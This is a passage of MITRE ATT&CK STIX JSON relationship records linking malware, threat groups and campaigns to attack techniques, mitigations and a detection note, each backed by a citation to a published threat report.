2021)","relationship_type":"uses","source_ref":"malware--11194d8b-fdce-45d2-8047-df15bb8f16bd","target_ref":"attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e28f72fc-86ae-481a-9181-d06380eeb859","created":"2024-05-22T22:40:17.805Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:40:17.805Z","description":"[MultiLayer Wiper](https://attack.mitre.org/software/S1135) generates a list of all files and paths on the fixed drives of an infected system, enumerating all files on the system except specific folders defined in a hardcoded list.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"malware--663d7dee-5a47-459e-a5ef-e850a94a8ee5","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2980209-0a3b-4d12-8a85-1984b8e1844b","type":"relationship","created":"2020-02-20T21:09:56.412Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-20T21:09:56.412Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e29b85ff-9ae1-42ad-ba2e-53781b638e42","type":"relationship","created":"2021-12-01T18:13:26.017Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky ThreatNeedle Feb 2021","url":"https://securelist.com/lazarus-threatneedle/100803/","description":"Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021."}],"modified":"2022-02-01T18:10:10.720Z","description":"(Citation: Kaspersky ThreatNeedle Feb 2021)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--16040b1c-ed28-4850-9d8f-bb8b81c42092","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e29d49a0-7cbf-47a2-b01a-d27056627c81","type":"relationship","created":"2020-05-12T21:44:40.902Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FOX-IT May 2016 Mofang","url":"https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf","description":"Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020."}],"modified":"2020-05-12T21:44:40.902Z","description":"[ShimRatReporter](https://attack.mitre.org/software/S0445) communicated over HTTP with preconfigured C2 servers.(Citation: FOX-IT May 2016 Mofang)","relationship_type":"uses","source_ref":"tool--115f88dd-0618-4389-83cb-98d33ae81848","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e29fa4df-f835-48e1-a83b-279818993793","type":"relationship","created":"2019-01-29T19:09:26.736Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/","description":"Hayashi, K. (2017, November 28). UBoatRAT Navigates East Asia. Retrieved January 12, 2018.","source_name":"PaloAlto UBoatRAT Nov 2017"}],"modified":"2019-04-19T15:10:04.339Z","description":"[UBoatRAT](https://attack.mitre.org/software/S0333) can list running processes on the system.(Citation: PaloAlto UBoatRAT Nov 2017)","relationship_type":"uses","source_ref":"malware--518bb5f1-91f4-4ff2-b09d-5a94e1ebe95f","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2a29101-0b7e-4dab-adec-602712c09893","type":"relationship","created":"2020-07-22T19:16:02.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 CookieMiner Jan 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, y., et al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved July 22, 2020."}],"modified":"2020-10-21T02:25:07.307Z","description":"[CookieMiner](https://attack.mitre.org/software/S0492) has used python scripts on the user’s system, as well as the Python variant of the [Empire](https://attack.mitre.org/software/S0363) agent, EmPyre.(Citation: Unit42 CookieMiner Jan 2019)","relationship_type":"uses","source_ref":"malware--eedc01d5-95e6-4d21-bcd4-1121b1df4586","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2a6a14d-87d3-4a8b-966f-fb3c1fab6e87","type":"relationship","created":"2020-02-11T19:06:19.039Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T19:06:19.039Z","relationship_type":"revoked-by","source_ref":"attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c","target_ref":"attack-pattern--3731fbcd-0e43-47ae-ae6c-d15e510f0d42","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2a901d9-61a4-49df-8441-3ae622879cdf","type":"relationship","created":"2021-09-30T13:20:52.142Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT QakBot April 2021","url":"https://cybersecurity.att.com/blogs/labs-research/the-rise-of-qakbot","description":"Morrow, D. (2021, April 15). The rise of QakBot. Retrieved September 27, 2021."}],"modified":"2021-10-12T18:16:40.826Z","description":"[QakBot](https://attack.mitre.org/software/S0650) has the ability to enumerate windows on a compromised host.(Citation: ATT QakBot April 2021)\n","relationship_type":"uses","source_ref":"malware--edc5e045-5401-42bb-ad92-52b5b2ee0de9","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2a9b959-8179-4ea0-99bc-8a8310bd1de2","type":"relationship","created":"2020-03-29T22:15:08.085Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-29T22:18:11.329Z","description":"Ensure proper Registry permissions are in place to prevent adversaries from disabling or modifying firewall settings.","relationship_type":"mitigates","source_ref":"course-of-action--a2c36a5d-4058-475e-8e77-fff75e50d3b9","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2ac0292-0de5-4805-9ff8-f56881331295","created":"2023-01-17T22:00:39.901Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cisco Talos Avos Jun 2022","description":"Venere, G. Neal, C. (2022, June 21). Avos ransomware group expands with new attack arsenal. Retrieved January 11, 2023.","url":"https://blog.talosintelligence.com/avoslocker-new-arsenal/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-14T17:11:06.212Z","description":"During [C0018](https://attack.mitre.org/campaigns/C0018), the threat actors used PDQ Deploy to move [AvosLocker](https://attack.mitre.org/software/S1053) and tools across the network.(Citation: Cisco Talos Avos Jun 2022)","relationship_type":"uses","source_ref":"campaign--519ee082-8ab6-439b-988f-a8a3f02c8d30","target_ref":"attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2ae5489-3473-48d6-ba26-f5a8391ad106","created":"2024-07-30T14:14:36.430Z","revoked":false,"external_references":[{"source_name":"ESET WinterVivern 2023","description":"Matthieu Faou. (2023, October 25). Winter Vivern exploits zero-day vulnerability in Roundcube Webmail servers. Retrieved July 29, 2024.","url":"https://www.welivesecurity.com/en/eset-research/winter-vivern-exploits-zero-day-vulnerability-roundcube-webmail-servers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-30T14:14:36.430Z","description":"[Winter Vivern](https://attack.mitre.org/groups/G1035) delivered malicious JavaScript payloads capable of exfiltrating email messages from exploited email servers.(Citation: ESET WinterVivern 2023)","relationship_type":"uses","source_ref":"intrusion-set--75a07184-a7e5-4222-95a1-a04dbc96a29c","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2b49348-8590-42a9-8b38-871c2eb3ada1","type":"relationship","created":"2021-02-23T20:50:33.205Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SANS Conficker","url":"https://web.archive.org/web/20200125132645/https://www.sans.org/security-resources/malwarefaq/conficker-worm","description":"Burton, K. (n.d.). The Conficker Worm. Retrieved February 18, 2021."}],"modified":"2021-10-14T16:53:14.387Z","description":"[Conficker](https://attack.mitre.org/software/S0608) resets system restore points and deletes backup files.(Citation: SANS Conficker)","relationship_type":"uses","source_ref":"malware--58eddbaf-7416-419a-ad7b-e65b9d4c3b55","target_ref":"attack-pattern--f5d8eed6-48a9-4cdf-a3d7-d1ffa99c3d2a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2b4bcf2-58a6-49ed-bc72-21226ff419bd","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"}],"modified":"2020-03-30T18:18:53.547Z","description":"If running as administrator, [TDTESS](https://attack.mitre.org/software/S0164) installs itself as a new service named bmwappushservice to establish persistence.(Citation: ClearSky Wilted Tulip July 2017)","relationship_type":"uses","source_ref":"malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2b67455-4986-46f4-a4ff-f5ee215ef998","created":"2021-03-15T15:20:25.733Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Leonardo Turla Penquin May 2020","description":"Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA “Penquin_x64”. Retrieved March 11, 2021.","url":"https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T21:27:07.148Z","description":"[Penquin](https://attack.mitre.org/software/S0587) can report the file system type and disk space of a compromised host to C2.(Citation: Leonardo Turla Penquin May 2020)","relationship_type":"uses","source_ref":"malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2b750e7-ad43-4e27-96a1-9bdb0e886a72","type":"relationship","created":"2019-01-30T20:01:45.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Oceanlotus May 2017","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."}],"modified":"2019-04-24T20:56:04.780Z","description":"[Denis](https://attack.mitre.org/software/S0354) exploits a security vulnerability to load a fake DLL and execute its code.(Citation: Cybereason Oceanlotus May 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2bf1135-6715-446a-aff7-96d5a0a20477","type":"relationship","created":"2020-03-10T18:26:56.467Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-15T18:40:23.378Z","description":"Prevent users from installing their own launch agents or launch daemons.","relationship_type":"mitigates","source_ref":"course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317","target_ref":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2c05732-0721-4836-aa07-52f4c379b361","type":"relationship","created":"2020-06-19T19:08:40.373Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Valak May 2020","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020."}],"modified":"2020-06-19T19:08:40.373Z","description":"[Valak](https://attack.mitre.org/software/S0476) has used PowerShell to download additional modules.(Citation: Cybereason Valak May 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2c08481-c9ad-4929-b470-afd2df7233ed","created":"2022-07-14T17:53:38.033Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BlackBerry Amadey 2020","description":"Kasuya, M. (2020, January 8). Threat Spotlight: Amadey Bot Targets Non-Russian Users. Retrieved July 14, 2022.","url":"https://blogs.blackberry.com/en/2020/01/threat-spotlight-amadey-bot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-17T16:15:40.491Z","description":"[Amadey](https://attack.mitre.org/software/S1025) does not run any tasks or install additional malware if the victim machine is based in Russia.(Citation: BlackBerry Amadey 2020)","relationship_type":"uses","source_ref":"malware--05318127-5962-444b-b900-a9dcfe0ff6e9","target_ref":"attack-pattern--c877e33f-1df6-40d6-b1e7-ce70f16f4979","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2c96d0e-4f0c-473a-8cc1-164cc89ce019","created":"2024-03-13T19:00:05.484Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T19:01:46.164Z","description":"[LITTLELAMB.WOOLTEA](https://attack.mitre.org/software/S1121) can initialize itself as a daemon to run persistently in the background.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--19256855-65e9-48f2-8b74-9f3d0a994428","target_ref":"attack-pattern--106c0cf6-bf73-4601-9aa8-0945c2715ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2ce90d2-7470-4f2d-a86c-f429b934ab35","type":"relationship","created":"2017-05-31T21:33:27.070Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Poseidon Group","description":"Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.","url":"https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}],"modified":"2020-03-18T15:34:54.769Z","description":"The [Poseidon Group](https://attack.mitre.org/groups/G0033)'s Information Gathering Tool (IGT) includes PowerShell components.(Citation: Kaspersky Poseidon Group)","relationship_type":"uses","source_ref":"intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2ced722-52bf-40ae-9627-99b5bf72b680","created":"2023-07-31T17:46:24.769Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CISA AA24-038A PRC Critical Infrastructure February 2024","description":"CISA et al.. (2024, February 7). PRC State-Sponsored Actors Compromise and Maintain Persistent Access to U.S. Critical Infrastructure. Retrieved May 15, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-03/aa24-038a_csa_prc_state_sponsored_actors_compromise_us_critical_infrastructure_3.pdf"},{"source_name":"Microsoft Volt Typhoon May 2023","description":"Microsoft Threat Intelligence. (2023, May 24). Volt Typhoon targets US critical infrastructure with living-off-the-land techniques. Retrieved July 27, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/05/24/volt-typhoon-targets-us-critical-infrastructure-with-living-off-the-land-techniques/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-15T20:07:22.356Z","description":"[Volt Typhoon](https://attack.mitre.org/groups/G1017) has used legitimate network and forensic tools and customized versions of open-source tools for C2.(Citation: Microsoft Volt Typhoon May 2023)(Citation: CISA AA24-038A PRC Critical Infrastructure February 2024)","relationship_type":"uses","source_ref":"intrusion-set--174279b4-399f-4ddb-966e-5efedd1dd5f2","target_ref":"attack-pattern--a2fdce72-04b2-409a-ac10-cc1695f4fce0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e2d28250-862e-4dd5-8712-aa6b6782b088","created":"2022-04-13T19:53:38.827Z","x_mitre_version":"0.1","external_references":[{"source_name":"NTT Security Flagpro new December 2021","url":"https://insight-jp.nttsecurity.com/post/102hf3q/flagpro-the-new-malware-used-by-blacktech","description":"Hada, H. (2021, December 28). Flagpro The new malware used by BlackTech. Retrieved March 25, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Flagpro](https://attack.mitre.org/software/S0696) can close specific Windows Security and Internet Explorer dialog boxes to mask external connections.(Citation: NTT Security Flagpro new December 2021)","modified":"2022-04-13T19:58:37.826Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--592260fb-dd5c-4a30-8d99-106a0485be0d","target_ref":"attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2d28cfc-da44-4668-abcf-18169911421a","created":"2022-03-30T14:26:51.856Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Twitter ItsReallyNick Masquerading Update","description":"Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.","url":"https://x.com/ItsReallyNick/status/1055321652777619457"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:30:45.066Z","description":"Monitor executed commands and arguments that may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. (Citation: Twitter ItsReallyNick Masquerading Update)\n\nNote: For Windows, Event ID 4104 (from the Microsoft-Windows-Powershell/Operational log) captures Powershell script blocks, which can be analyzed and used to detect on potential Masquerading. ","relationship_type":"detects","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--e2dd48c1-c960-4f6f-ad99-5b2aa7463e68","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"synack 2016 review","description":"Patrick Wardle. (2017, January 1). Mac Malware of 2016. Retrieved September 21, 2018.","url":"https://objective-see.org/blog/blog_0x16.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-10T15:18:40.403Z","description":"[Keydnap](https://attack.mitre.org/software/S0276) uses Python for scripting to execute additional commands.(Citation: synack 2016 review)","relationship_type":"uses","source_ref":"malware--4b072c90-bc7a-432b-940e-016fc1c01761","target_ref":"attack-pattern--cc3502b5-30cc-4473-ad48-42d51a6ef6d1","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2def7f8-7c68-4ed6-b801-260b24a67409","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"}],"modified":"2019-09-04T22:55:41.552Z","description":"(Citation: FireEye APT34 Webinar Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--0998045d-f96e-4284-95ce-3c8219707486","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2e10525-62f5-42ba-a923-ed29cfb4040e","type":"relationship","created":"2021-10-15T03:11:44.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-18T22:57:30.716Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses a malicious browser application to replace the legitimate browser in order to continuously capture credentials, monitor web traffic, and download additional modules.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--960c3c86-1480-4d72-b4e0-8c242e84a5c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--e2e2d332-f27b-46fb-b48f-4ee1872b321f","type":"relationship","created":"2017-05-31T21:33:27.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://www.group-ib.com/files/Anunak_APT_against_financial_institutions.pdf","description":"Group-IB and Fox-IT. (2014, December). Anunak: APT against financial institutions. Retrieved April 20, 2016.","source_name":"Group-IB Anunak"}],"modified":"2019-03-22T19:59:27.071Z","description":"(Citation: Group-IB Anunak)","relationship_type":"uses","source_ref":"intrusion-set--55033a4d-3ffe-46b2-99b4-2c1541e9ce1c","target_ref":"tool--5a63f900-5e7e-4928-a746-dd4558e1df71","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--e2e2fb8d-6b89-4d49-bea9-cca54ae3e56d","created":"2022-06-10T12:08:17.602Z","x_mitre_version":"0.1","external_references":[{"source_name":"MSTIC DEV-0537 Mar 2022","url":"https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/","description":"MSTIC, DART, M365 Defender. (2022, March 24). DEV-0537 Criminal Actor Targeting Organizations for Data Exfiltration and Destruction. Retrieved May 17, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[LAPSUS$](https://attack.mitre.org/groups/G1004) has accessed internet-facing identity providers such as Azure Active Directory and Okta to target specific organizations.(Citation: MSTIC DEV-0537 Mar 